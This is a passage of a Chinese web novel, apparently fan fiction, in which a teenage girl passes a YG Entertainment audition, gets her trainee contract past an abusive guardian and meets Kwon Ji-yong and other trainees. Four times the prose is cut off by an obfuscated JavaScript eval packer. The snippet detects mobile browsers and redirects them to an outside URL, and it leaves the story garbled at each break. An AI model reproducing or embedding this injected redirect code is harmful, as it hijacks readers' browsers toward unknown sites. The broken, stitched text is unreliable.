偶像突然离得太近,她有点承受不来。 他好像察觉到了,也往后退了半步,重新拉开一个礼貌的距离。 “你……”夏沇之张了张嘴,脑子里乱糟糟的,原来权至龙少年时竟然是这样可爱嘛,我的天! 最后她只能瞪大眼睛,把所有的震惊都压成了一句:“你是权至龙。” 她难以置信望着他,黑白分明的眼眸还有一丝他看不太懂的东西。听出她的言外之意,他眨了眨眼,带着点笑意和一丝被人认出的羞涩。 “嗯,你知道我?” 夏沇之咬着嘴唇,模棱两可说:“我……我以前在电视上看过你的舞台。” 以为她看的是自己01年出的歌曲《我的年龄13岁》,他摸了摸有点发烫的耳朵,转移话题问道:“对了,还没告诉我你叫什么名字呢?” “啊,我叫夏沇之,意思就是像夏天里蜿蜒流淌的河水。” 权至龙嘴里默念一遍,嘴角翘起:“名字听起来就很美好。” 夏沇之表面镇定,内心却在鸡叫。我天,偶像不仅可爱还那么善良,之前见她流落在外无家可归,还请她去澡堂过夜……呜呜呜,我果然没粉错人。 不行了,得找个地方让大脑冷静冷静,再激动下去她就要口出狂言了。于是借口还有事,就连忙想要溜走。 “好的,”他扬了扬眉梢,语气调侃:“西海岸小姐。” 夏沇之被噎住,感觉见到偶像好像也不是那么激动了。 他笑嘻嘻说完,转身往YG大门走,走了两步又回头冲她挥了挥手:“社长说‘感觉还行’的话,就代表他心里是看好你的。” 阳光把他背影的影子拉得很长,一直拖到她脚边。 权至龙转身走进公司,眼角眉梢还满是笑容,他知道今天社长在选择他的团员,想到要作为偶像出道,心情有些烦躁,干脆眼不见心不烦的去了录音室作曲。 结果被无聊的宋柏京前辈拉去看热闹——前辈在公司MSN聊天室里看到有人说楼下来了个超高颜值的女孩子。 心思还在编曲上的他无奈跟着溜进面试现场,结果发现竟然是她……舞跳动作不算标准,但她神气十足,身上有一种很野生的生动东西,让人看了就忍不住嘴角上扬。 一阵清风裹着路边樱花细屑吹起,粉白色的花瓣飘飘悠悠落入桌面上。 夏沇之指尖捻起花瓣,托着腮傻乐,他竟然是权至龙啊,那万一、如果她成为YG练习生,那他们岂不是就成同门师兄妹啦! 之前她决定去YG心里也闪过这个念头,但他在她的心里太过遥远…… “咳咳咳……所以,你这次面试的公司是YG…咳!”敏喜一时激动被呛到,捂着嗓子剧烈咳嗽。 夏沇之吓了一跳,回过神,连忙端起水杯递给她,“没事吧?” 考试结束后,一身轻松的她为了感谢这段时间敏喜欧尼借用手机,见她今天刚好有空就邀请她一起吃饭表示感谢。 两人在餐馆坐下后,她就分享了今天的面试,结果才刚开头呢,怎么欧尼就这么激动? 见敏喜欧尼咳嗽平复下来,她才满脸不解地问:“欧尼你干嘛那么惊讶?之前告诉你去SM也没见你激动成这样啊。” YG目前除了以后会成为王牌制作人的teddy所在的1tym纯黑泡团和一些big mama蜘蛛姐之类的纯歌手,好像眼下公司里最火的艺人就是se7en了吧。她看了看欧尼,该不会…… 敏喜放下杯子,托着腮笑的灿烂,一点也没有之前高冷的样子,“我可是wuli se7en欧巴的粉丝。那你要是进去了,是不是能见到欧巴?能帮我要签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444207|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名吗?” 夏沇之隐约记得吃过这位的瓜,好像早期和一位女明星长期秘密恋爱来着……咳,她张了张嘴,想说点什么又咽了回去。算了,何必打破别人的美好幻想呢。 所以她只能打着哈哈:“现在还不知道会不会通过呢,YG要求很高的。” 一说这个,嘴里的辣年糕也变得没滋没味,虽然自家偶像是这么说啦,可是谁知道那杨菊花怎么想的,万一他真的没看中呢,而且有另外困扰着她的事情。 但起码,起码今天就让她好好过完吧。 “欧尼,等下我们去逛街吧,拍大头贴怎么样……” “Kimchi~” 狭小只容得下两人站立的空间,敏喜搂着夏沇之肩膀,念到“chi”这个音时,两人嘴唇自然地向两侧咧开,露出一个漂亮的微笑。 “咔嚓”一声,面前大屏上一高一矮两颗凑在一起的脑袋定格。 敏喜翘着嘴角,拿起两人的合照细细打量,“哎呀,也就欧尼我心理承受力强,一般人才不会想和你一起拍照,对比太惨烈了。” 夏沇之咽下嘴里的果汁,不赞同,“欧尼长得很漂亮啊,特别是眼睛超级有韵味,又很有气质。” 她第一次见就被吸引到,有种很娇媚狐狸眼的感觉,只不过敏喜欧尼平时神色高冷压下这种感觉。 “你这张嘴真会说话。”敏喜亲昵地捏了捏她的脸,心里却很开心。为了攒钱上大学,她已经很久没有这样和朋友一起轻松的逛街了。 说来奇怪,虽然两人之间差了5岁,但相处起来却好像同龄人,一点也没代沟。 “我也要喝果汁。”她头故意凑过去。 “哦。”夏沇之将新的吸管插好递给她。 “哎一股,”敏喜没看到她窘迫的神色,无趣地撇嘴,“朋友之间干嘛讲究这么多。” 夏沇之嘿嘿傻笑,之前不知道韩国朋友间会毫不介意地同喝一杯饮料,她大为震惊。但实在无法接受,于是在买饮料就准备了两个吸管,这是她最后的底线了。 逛完街后两人回去,刚拐过最后一条街角,夏沇之连忙拉住敏喜欧尼靠在墙角后。然后悄悄探头看去—— 是那个黑痣男,正靠在车门边无所事事地晃悠。她咬住嘴唇,这人最近怎么老是在这附近看见,总感觉他像是发现了她是自己孤身一个人在外。 敏喜明明不知道怎么回事,但被夏沇之那种像小兽发现天敌一样的警惕神色镇住,也跟着紧张起来。 突然,铃声响起。 是se7en的歌。这年代想要定制专属音乐,需要购买下载才行。 两人齐齐僵住。 街边,黑痣男吐掉烟头,接通电话,语气谄媚邀功道:“哥,我发现了一个特别漂亮的女孩…那不是,比之前那个漂亮好几倍呢,那位…” 不知道电话那头说了什么,他神色怏怏道:“好的,我就去……”转身坐进车内,他抬头又看了一眼考试院方向,驱车离开。 见男人离开,两人又齐齐松了口气,敏喜刚想说话,包里的铃声又响了起来,她从包里掏出手机接听,几秒后眼神看向她,用口型说:“SM。” 啊?夏沇之呆住。可是YG还没消息呢,这电话是接还是不接呢? 10. 第三关:签约 电话那头的声音亲切又热络,像是认识很久的长辈在关心晚辈。先寒暄了几句最近怎么样、吃没吃饭, “沇之啊,上次你说要问家长的意见,问得怎么样了?” 夏沇之捏着手机,手指下意识地扣着墙皮,脑子飞速转了一圈。 “内……”她拖长了尾音,语气里带上一丝为难,“我妈妈说她还要再想想,毕竟我年纪还小,她有点不放心我一个人呆在首尔。” “这样啊。” 电话那头的女人笑了笑,语气更柔和了,“家长担心是正常的。不过我们公司的练习生宿舍有专门的生活老师管理,安全方面你妈妈完全可以放心。而且……” 她顿了顿,“公司很看好你,如果你愿意来,我们可以给你安排经验丰富的老师一对一指导,这样的待遇可不是每个练习生都有的。” 夏沇之咬了咬嘴唇。不得不说,SM开出的条件确实诱人,这些在YG那边她连问都没敢问。 但她脑海里又闪过那个厕所里的画面。湿淋淋的长发,沉默的受害者。那种地方,心里不够强大的人待久了会变形的,她对自己并没有多大信心。 “谢谢您这么照顾我。”她努力让自己的声音听起来真诚又带着点受宠若惊,“我会再跟我妈妈好好说的,争取尽快给您回复。” “那你可要快一点哦。”对方语气轻快,但话里的催促意味很明显,“公司最近在筛选新一批练习生名单,名额有限,如果拖太久的话……” “内,我明白的。”夏沇之乖巧地应着,“我会尽快的。” 挂了电话,她长长地呼出一口气,感觉比逛了半天街还累。 敏喜一直靠在墙边听着,见她挂断才挑了挑眉:“听你这语气,是打算拖着?” “嗯。”夏沇之把手机还给她,转身靠在墙上,烦躁地揉了揉眉心,“YG那边还没消息呢,我不能两头都落空。” “那万一YG没选上呢?” “那就……再去SM看看?”她语气不确定,“不过我是真的不太想去那边。” 敏喜看着比她矮大半个头的少女,叹了口气,拍了拍她的肩:“行吧,反正你自己拿主意。不过拖也不能拖太久,人家也不是傻子。” 她把手机收进包里,突然压低声音问:“刚才那个男的……你认识?” 夏沇之摇摇头,又点点头:“之前在杂志工作室楼下见过,自称什么公司的老板。我已经拒绝过了,反正离他远点就行。”看来不管最后面试结果怎么样,她都要换个地方住了。 敏喜皱了皱眉,没再追问,只是路上时不时回头看一眼身后。 一般公司面试后大约2~3天左右回复,YG……她到底能不能通过呢? 两天过去了。 这天她上午没兼职,去找便利店找敏喜欧尼,正心不在焉地帮她整理货架,就听到她的手机响了起来。 夏沇之心里一跳,目光炯炯地盯着欧尼。敏喜好笑的看了她一眼,这两天她一听到电话铃声就这样。 敏喜接通电话,过了几秒,然后仿佛慢动作一般,她目光里浮现出笑意,抬眼看向夏沇之,将手机递给她:“找你的。” 她愣愣地接过,迟疑地将手机贴到耳边。 “喂?” “这里是YG Entertainment,您已经通过了面试,请于近期到公司来3楼管理组签约。”来人开门见山。 “啊……内,好的。”她握着手机精神恍惚,这就成功了?幸福来得太快,让她有些不知所措。 她下意识摸了摸自己的脸,忍不住自嘲:YG该不会真是看脸选人的吧?不然就她的实力竟然也能通过吗。 “对了,记得要监护人陪同哦。”电话那头又提醒道。 夏沇之瞬间清醒过来,内心的喜悦刚像气泡一样升起,就像被人从背后泼了一盆冷水。该来的终究还是来了。 挂掉电话,她靠在货架边上发了会儿呆。 敏喜走过问她:“怎么了?难道没通过?” 她扯了扯嘴角,“通过了。” “你不是很喜欢YG吗?面试通过了不应该开心吗?”敏喜疑惑地问:“干嘛一脸愁容。” “……不是,是需要监护人陪同签约。” 敏喜愣了一下,脸上的笑容慢慢收起来。她虽然不知道夏沇之家里具体什么情况,但从这孩子从不提家人、一个人住在考试院这些事上,多少能猜到一些。 “……那怎么办?” 怎么办呢? 她没有回答,但那天晚上的梦让她做了一个决定。 床底不断有有异响传来,她以为屋子里又进了老鼠,于是掀开床单,弯腰扭头一看—— 对上了一双眼睛。 一双布满血丝,浑浊的眼睛,一眨不眨,直勾勾地……打量着她。 “啊。” 她满头冷汗惊醒过来,发现自己躺在考试院的床上,小夜灯昏黄的光线带给了她一丝安全感,可心底那股冰冷粘腻的恐惧感,直到现在还让她心底发颤。 家里那个所谓的“爸爸”看她的眼神越来越奇怪,那天“妈妈”又带着弟弟回娘家去了。他不知什么时候钻到弟弟床底下,就那样……看着她。 夏沇之不安地搓了搓手臂,真是晦气,怎么又梦到这人,她沉下脸,一向宜喜宜嗔的脸竟有几分冷厉之感。 不能再犹豫了,必须尽快解决签约的事。 5月4日,她去和YG公司沟通家里父母有无法到场的情况后,将手里原本攒着准备买手机的钱花掉。然后打包好行李,又打电话查了从这里到原主家的快递最早派送时间。 又两天时间一晃而过。 早上,她攥着钱来到走廊里的公用投币电话,好奇观察了会只在视频里见过的台式电话,然后将手里的零钱有些笨拙地投进去,按下按键。 “嘟…嘟…嘟……” 咔嚓一声,有人拿起电话,话筒那头传来有些失真的女声。 “喂,请问哪位?” 夏沇之握紧话筒,“阿姨,我是夏沇之,昨天您不在,不知道贞儿有没有和您说过,我今天有事可能要晚点去。” “哦,这个啊,听她说了,没关系的。” “那就好,我会尽量早点到的。嗯嗯,拜拜。” 她松了口气,给初中生补习数学课在她的薪资里占大头,当初还是餐馆的老板娘见她给家里的小孩解题很不错,这才推荐了朋友又加上她很便宜,不然谁愿意请半大的孩子补习啊。所以在没有稳定前,她需要保住这份工作。 挂掉电话,简单收拾完东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444208|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门时遇到敏喜欧尼,她言简意赅的说了下自己要回去和家人商量签约的事情,就背着大包坐上大巴车。 五月的韩国郊区景色怡人,大巴车行驶过一片盛开的郁金香花田。 将脸探出车窗,阳光暖融融地洒下来,空气里弥漫着花香,她闻到带着一丝丝甜味和青草气息,沁人心脾。冲掉车内的浑浊味道,让人精神一振,翻涌在她心口的难受也舒缓几分。 “汽车客运到了。” 背着包下车,直冲目的地,她来到一处楼房前,选了个能看清楼道口的位置蹲坐下来。她在电话里套出了大概的配送时间——这个片区的快递员一般上午十点左□□送。 周三,这个时间点孩子都去上学了,“妈妈”在上班,刚才在牌室用玩具诱惑小朋友帮她看了,那个人还在那里,所以现在家里应该是没人的。 将计划在脑海里反复推算,时间不知不觉过去,太阳渐渐移到她头上。她看了眼廉价的电子手表,已经快十一点半了。 终于,她看到一道蓝色的身影,连忙起身跟着他来到了楼下,连忙叫住他,“请问,是给305号安东强的快递吗?” 快递员闻言转身,低头查看了看信息:“没错。” 夏沇之心咚咚咚地跳,她报了收件人手机号码:“我等很久了,请给我吧。” 快递员见信息对得上,没怀疑,直接将文件递给了她。 “谢谢。”她接过文件,手指微微发抖。她知道这样做不对,但她没有别的办法。 呼……她轻轻吐气,终于拿到手,快步走进旁边的巷子,靠着墙把文件袋打开。 里面是YG寄来的合同书和一份签约须知。她快速扫了一遍,合同需要监护人签字确认,但现在娱乐公司方面并不强制要求监护人亲自到场,只要有签了字的文件就行。 看起来完全无法绕过父母,但其实还有一个办法或者说空子可钻。她在网吧查过无数遍,终于在一堆法律术语里找到一行小字—— 未成年人行使法律行为后,监护人有一个月的时间提出异议,如果什么都不做,合同就算默认生效。也就是说,她只需要让合同送到那个人手里,然后……祈祷他一个月内别拆开。 她穿上一件从二手店淘来的蓝色夹克,戴上灰色的帽子和口罩,看起来像个快递员。 从背包里翻出几件提前准备好的男孩衣服,又把从二手书店买来的小学语文题本拿出来。弟弟才上小学三年级,原主记得每次他看到语文课本就头疼,绝不会主动翻这种东西。 把YG的合同小心地夹进语文题本中间,再用其他几本书压在上面。又把衣服和零零碎碎的小东西分别打包好,看起来就像一个从首尔寄回家的普通包裹。 最后往快递单上小心洒了几滴水,字迹晕开一片。她拎着包裹走出巷子,小心踏进昏暗的楼梯。 上了三楼,抬眼看见那扇带有斑驳痕迹的防盗门,心里生出无比压抑的感觉。 深吸口气,将包裹放在门口,刚要起身,突然楼下传来熟悉的声音—— “哎西,狗崽子,那家伙就是走了狗屎运而已,等我一会,我拿了钱就来。” 那声音带着点神经质的亢奋,光是听到就让人作呕。 夏沇之浑身一僵,下意识屏住了呼吸。 11. 第三关:签约 脚步声逐渐逼近。 这不在计划中的意外让夏沇之慌乱了一秒,随即她强制自己镇定下来,迅速拉低帽檐,将头低下,又拉高衣领,转身朝楼下走去。 两人擦肩而过的瞬间,她身体不受控制的颤栗,心跳到了嗓子眼,死死咬住嘴唇。指甲掐进掌心,用尽全力稳住脚步——一步,两步,三步…… “唉,谁寄包裹过来?”那个人弯腰去看快递单,却见单面字迹都被水晕染掉,只能模糊看到一个秀字,他眼睛眯起:“是韩秀这死丫头!” 下意识伸手摸了摸脑袋,那里感觉还隐隐做痛。想起才走下去的蓝色衣服的快递员,他连忙起身跑下楼寻找,结果怎么也找不到人影,只好低声咒骂着回去。 夏沇之一口气冲下楼,拐进楼道拐角。她竖起耳朵听了几秒,确定对方没追过来才扶着墙滑坐在地。刺眼的眼光照在脸上,紧绷的神经一下子松弛下来,后知后觉地感到一阵兴奋。 她带着几分又一次逃脱升天的喜悦和大功告成的得意:“真刺激啊~kkkk……” 不,事情还未完全落地之前最忌讳半路开香槟,还有一个月呢。不过……应该发现不了吧。 “那孩子可是最讨厌语文作业的啊。” 而回到家的那个人拆开包裹,里面叮叮当当散落一地小包裹,他不耐烦地蹲下身翻看,见大多都是些不值钱的破烂玩意,皱着眉丢开。 冷哼几声:“看来活得好好的,还赚了钱。也不知道会便宜哪个家伙……”心想等那个死丫头回来再收拾她。 翻遍了家里也没找到值钱的东西,他骂骂咧咧地出门了。留下本语文题本静静躺在书堆最下面。 …… 【取经之第三关:合约】 5月6日 【合约的事我不知道这样做是否正确,但这是我目前唯一的选择。于公司方面,一个还没有体现价值的练习生有那样难缠的家人,对他们是件麻烦事,告诉他们的话,很大可能会被拒绝。 于私人而言,我看过太多家长利用未成年牟利的新闻,在这个陌生的世界中,我不惮以最坏的恶意揣测他人,也不要面临被伤害的风险。更何况他们并不无辜。 我也曾想过断绝领养关系,但以原主之前报警及拨打过这方面的求助电话,只能说目前她的求助并没有用。 弱小就是原罪,所以思来想去,我最终还是选择钻空子,只希望能瞒过这接下来的一个月。 如果没有……那就在忍耐吧,还剩下29天……】 从光州回来后,夏沇之就来YG这里报道。 YG公司比她想象中安静,走廊里偶尔有人经过,向她投以打量的目光,空气里有股淡淡的咖啡味。 夏沇之坐在三楼的办公室里,对面是负责管理练习生事宜的李宝型。 李宝型笑眯眯地看着这位在面试时给她留下深刻印象的女孩。圆脸露出亲和的笑容,为她介绍着公司及练习生的各种事项。 YG公司体量小,说是公司更像家族模式,所以很多事情都可以短期灵活调整。不像SM家大业大,光练习生就有一百来人,分工明确但也更按规章制度。 “您之前说包吃住,我家离得太远,所以决定住在宿舍。” 李宝型嘴里的话卡了一下,他们练习生数量走的是少而精的路线,每一个练习生都是社长精挑细选的,练习生满打满算也就不到二十个人,所以证明这孩子是入了社长眼的。 上个月又刚清退一批,现在只有十来人而已,女练习生大多都是住在自己家里,要不就是寒暑假从国外回来训练一段时间。所以目前只准备了男练习生的宿舍。 不过反正那栋楼还有空房间,安排一间也不麻烦。想了想社长的话,笑眯眯地对女孩说:“有,而且是单住哦。” 夏沇之眼神一亮,万万没想到到还有意外之喜,那可真是再好不过了。 “室长nim,还有最后一个问题,”她有些不好意思地看了眼这位欧尼,“是这样的,我现在独自在外生活,需要兼职维持生活,所以来公司后还可以去吗?” 李宝型有些诧异看了女孩一眼,对方看起来谈吐,气质像出生良好的家庭,性格也看不出是为钱发愁的样子。 她沉吟一会,先是语气温和地肯定女孩的坦白,“这很好,有什么事情一定要先和公司商量,不可以偷偷去做。” “公司有生活费。生活上不用担心,你接下来需要将时间全部投入训练里,所以兼职肯定是不可以做了,”见夏沇之一脸失望,又话锋一转:“不过杂志的话,他们可以直接联系公司,公司会在评估后决定适不适合。” 她又加重语气强调:“但不可以自己私下接,如果被发现,是需要赔付违约金的。” 夏沇之点点头表示知道,心里其实也早有预感。不过杂志那边还需要她到时候联系解释一下,万一他们可以继续合作呢? 见时间还早,宝型起身带她去练习室,“现在他们应该正在练习,以后你们也会经常见面,先认识认识吧。” 夏沇之笑眯着眼,甜甜道:“内,欧尼。” 一直管理调皮的男练习生因而疲惫的李宝型感觉被治愈了,简直像天使一样可爱呀!想到这她不由有点担心这孩子受欺负。 想起她才15岁呢,李宝型忍不住叮嘱她:“现在公司大部分都是男练习生,不过那几个也都是乖孩子。你不用怕,要是有人欺负你,你和我说。” 倒不是这些练习生有多坏,都是她差不多看着长大的孩子,但是毕竟脾气各有不同,她进来后又是晚辈,怕有摩擦。 “我会和前辈们好好相处的。” 精致的带点婴儿肥的小脸蛋,眼睛亮晶晶盯着她,她没忍住又上手捏了捏,好滑。 虽然目前整个公司的重心都在推出公司第一个偶像新男团那里,但如果男团成功,下一步肯定是考虑女团的策划,这孩子到时候说不定有机会。 带着夏沇之坐电梯下去,她又说:“至龙和永培是我们公司头号练习生,有什么不懂的,或者有人提了很为难的事情。如果欧尼不在就去找他们知道嘛?” 夏沇之闻言绽开大大的笑容,响亮的应下,偶像罩着她哎,也太幸福了吧。 但很快,她就觉得也不是太幸福了。 她和李宝型欧尼进入时,就敏感地感觉到室内一片低气压,而罪魁祸首就是那个正坐在桌子上,双手抱胸的权至龙冷冷盯着中间正在跳舞的人,面无表情的时候眉眼锐利,让她瞬间收起了笑容。 她悄悄挪动脚步将自己藏在欧尼身后,降低存在感,有点害怕怎么回事。 察觉夏沇之的动作,李宝型扭头小声对她说:“没事,至龙只是在帮后辈抠舞,他认真起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444209|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这样的。”她拍拍手,“孩子们,都停一下。” 音响被关掉,音乐骤停后的安静让气氛更显压抑。 但有人立马躺到在地上打破了这个局面,极低的烟嗓飘出:“怒那,救我!我快要死在至龙手里了。” “哥,”权至龙手掌一撑从桌上下来,有点无奈,“你才跳了不到半个小时而已。” “哎一股,我年龄大了,体能跟不上了嘛。”才19岁的崔塔普一副老年人口吻。 懒得理这哥,权至龙转过头刚要说话,目光越过李宝型落在她身后悄悄探出一点的脑袋上,他笑了起来,“你来啦。” 就知道这孩子肯定会来的。 “咦,至龙,你们认识?”刚想给他们介绍的李宝型表情惊讶。 “嗯,之前见过。”他点点头,对夏沇之招手,“怎么来之前也不和我说声。” 夏沇之看了他两眼,他笑起来还是挺可爱亲和的,那股因为知道他是权至龙而带来的距离感消除了一些。从宝型欧尼身后走出来,有些拘谨地对几人鞠躬: “前辈们好,我是新来的练习生,夏沇之。”她已经报备过,以后就用这个名字当艺名。 “对,当时这孩子面试时你也在。” 李宝型恍然,见他们彼此认识,就干脆将夏沇之交给了权至龙,“我刚好等下还有事,那至龙你就带沇之和他们互相认识认识,反正以后也会一起练习。” 然后就很光棍地甩手离开了。 永培对夏沇之有点拘谨地点头,“你好,我是东永培。” 他听说过这个孩子,这两天公司上下都传,有个长得超级漂亮女孩放弃了SM选择了YG,而且性格也很搭这里。据说表演时社长都笑了。 不过他怎么没听至龙说起过认识她?这可不像他平日藏不住话的性子。 “哎呦,原来是你啊,久仰大名的西海岸妹妹。”大哥艰难地坐起身,笑眯眯地看着她,果然样貌很出众。 他前两天不在,今天过来才听闻有个因为漂亮被社长破格录取的女孩。那时至龙听他这么说很不赞同地反驳: “哥从哪里听说的,哪里有那么离谱,社长你还不知道吗,不是只看外表的人。虽然沇之xi确实很漂亮没错,但是如果真的没其他优点,社长顶多将她放在演员部。” 啧啧,他扫了一眼权至龙,瞧瞧这一副稳重亲切的前辈模样,让人简直都认不出来了。身为权至龙粉丝兼粉丝会长的他当然知道权至龙其实是个隐形颜控,看见漂亮的小孩总想逗一逗。 夏沇之知道眼前这两人,单方面的。 她看了眼虽然很帅,但脸上莫名透着股傻气的崔塔普。又看了眼一脸拘谨的东永培。她记得后来东永培有个外号叫‘东不穿’——因为这位大哥在舞台上总爱脱衣服。 最后夏沇之郁闷地瞅了一眼权至龙,以为那个外号是他散布的,权至龙看懂了她的眼神,忙举手以示清白,“不是我说的,是1TYM的哥哥们……” 他们两个出门后就到处和人说,有个拒绝SM的漂亮女孩性格很有趣,于是不出一天,反正练习生之间是都知道了她。 好吧,错怪他了。 “该不会......现在所有人都在叫我这个外号 吧?!” 完了完了,她两眼发黑,以后在YG还怎么做人啊! 12. 第三关:合约28天 她弱弱地说:“几位前辈们能别叫这个外号吗?我怕社死。” “社死是什么意思?”塔普撑起身体好奇地问。 “......就是虽然我身体还活着,但精神上已经死亡......简单来说社会性死亡啦!”她捂着脸,耳朵都红透了。 “社会性死亡,”不知道这个词戳中塔普哪根神经,嘎嘎乐了起来,“这个词挺有意思的。” 该说不说,他声音真的好有穿透力,不愧是韩国少有的低音炮rapper,震得她脑瓜嗡嗡的。 “咳!”好在偶像还是靠谱点,见她耸搭着脑袋,很给面子的把笑憋了回去,还安慰她:“别介意,大家都是因为觉得你很可爱,才会这么称呼你的。” 好吧,反正当新闻人物总比无人在意强的多,夏沇之如是想。 见他们还要练习她也不便多打扰,脚步轻快地离开了练习室,目前看来,未来bigbang这两位成员性格还挺好相处的,没印象中那样强悍不可靠近,让她暗暗松了口气。 正在心里想着这些,抬头却见走廊迎面走来一个人,是她在面试完SM后机缘巧合遇到的吴星探。 “前辈好啊。”夏沇之上前几步问候。 说来前段时间她正为不知道怎样来YG面试发愁,结果在路上闲逛时就遇到了眼前的人,可见她和YG冥冥之中还是很有缘分的。 “咦,沇之xi。” 吴时宇看着他在街上捡来的宝贝忍不住露出和蔼的微笑,无比庆幸那天他因为和老婆吵架感到郁闷,没有注意看路,不知不觉走错路来到离公司不远的街道。 结果一抬眼就发现了夏沇之,那天阳光格外明媚,落在女孩象牙白般的肌肤上像笼罩着一层蒙蒙的光,矫情的说,他有一瞬间以为看到了精灵。 走进后才发现她年纪还小,巴掌大的心型脸,五官立体,区别于韩国大部分人的扁平轮廓,吴时宇看一眼就知道这种脸非常适合上镜。 从事这行多年,他眼光毒辣,这位女孩以后绝对不一般,就算知道最近公司没有公开招聘女练习生,但他还是将资料递了上去。 虽然递上去之后有些担心这孩子才艺不够,但他转头一看到夏沇之这张脸瞬间担忧全无。有这张脸,其他的都可以再说嘛!实在不行放在演员部也完全可以啊。 所以他就叮嘱过李宝型一定要面试这孩子。后来知道她先被SM挖掘,最后却选择了他们YG就更得意了,这可是从SM手里抢人诶。 夏沇之从YG公司出来后一路小跑回到考试院,然后直奔敏喜的房间。 她握着欧尼的手机,盯着屏幕看了很久。最后深吸一口气,按下了拨号键,早说早痛快。 “喂,欧尼,是我。” 电话那头传来惊喜的声音:“沇之啊!你终于想好了吗?合同我这边都准备好了——” “欧尼,”她打断对方,声音尽量放软,“对不起,我……决定去别的地方了。” 那头沉默了几秒。“是YG吗?” 夏沇之一愣:“您怎么知道?” “猜的。”星探欧尼的声音里带着一丝遗憾,但很快又扬起笑意,“不过我们的大门永远为你敞开,以后想换公司了,可以随时联系我。” “内,谢谢您。”挂掉电话,夏沇之攥着手机发了好一会儿呆,心里五味杂陈:“欧尼,拒绝一个对自己有善意的人,比拒绝一个坏人难多了。” 敏喜摸摸这孩子的脑袋,心想有时候有太多选择也不是一件好事。虽然不知道她是怎么解决监护人问题的,但真心为她能得偿所愿感到开心。 “既然选择好了,那就不要让自己后悔。以后要好好努力才行啊。” “嗯,”夏沇之点点头,想起一件事又笑了起来,“欧尼,我拍的杂志明天就要发刊啦~”笑嘻嘻地声音驱散了刚才沉闷的气氛。 “真的?”敏喜惊喜地将她抱在怀里一顿揉搓,“哎一股,wuli沇之也太厉害了,明天我一定要去买一本让你签名收藏起来。等你以后成大明星了拿出来卖。” “嘿嘿嘿……为了欧尼能卖出签名,我也要努力加油啊。” 这天夜里,夏沇之是怀着对明天的期待入睡的。 第二天《Teen Beauty》出刊。 一早上,她起床后随手套上衣服,戴上帽子。来到学校附近的大街上。 女孩子嘛,她平时就喜欢拍美美的照片,更何况这次可是上杂志,心情既兴奋又忐忑地找到一家销售着各种少女杂志的报亭。 正想上前翻找,她视线却注意到老板正把一本杂志用夹子挂在最显眼的位置,封面色调有点像她印象里千禧年的日杂风格。 上面那张既熟悉又有些陌生的脸,让她视线登时凝住不动了。 咦,竟然是单人?还以为会是和别人一起的合照呢。 不过转念一想也不奇怪。这种小杂志一次性拍的素材不一定全出刊,得看排版,有时候会分几期慢慢放。 这时旁边跑来两个手挽手的女孩,她侧身避了避,见其中一位女孩熟门熟路地在报刊前拿起一本杂志。正要掏钱,忽然眼睛一亮,指着被挂起来的封面对好友说:“你看,那女孩好漂亮呀。” 同伴顺着她手指的方向看过去,愣了一下:“诶,真的好好看……完全脸蛋天才。” 封面用的是抓拍夏沇之在花墙下扭头的一瞬,她一身飘逸的纱裙,头发随着蝴蝶结尾飘在半空。阳光落在她发顶像戴了个光环,明媚娇俏的脸蛋冲着镜头笑的开心。 整个画面意外地生动美好。 老板笑眯眯地搭话:“这本杂志很热销,好多学生买呢,我这里都快卖完了。” 两个女孩互相看看,她们零花钱有限,于是商量了一下,决定一人买一本不同的,到时候交换着看。 又做成一单生意,老板抬头看见站在旁边的夏沇之,指着杂志招呼道:“这本好多女孩都喜欢。来一本?” 她笑眯了眼:“是吗?那来两本吧。”一本给敏喜欧尼,一本回去好好收藏起来。 老板抬头看了她帽檐下白嫩的小脸一眼,又看看杂志,眼睛忽然瞪大了:“哎哟,这上面是你吗?” 她有些不好意思地压了压帽檐,大方承认:“内,是我没错。” 老板连忙把杂志抽出来递给她,笑呵呵地夸赞说:“真厉害,今天好多女孩子一进来就指着封面说要买。我还想这模特是哪家的小姑娘呢,长得可真漂亮。” “谢谢您的夸奖。”夏沇之接过来,低头看着封面上自己的脸,嘴角翘得压都压不下去。 她翻了翻封底的价格,果然不贵,难怪学生们买得起。除了封面,里面还有好几张她的照片,旁边配着穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 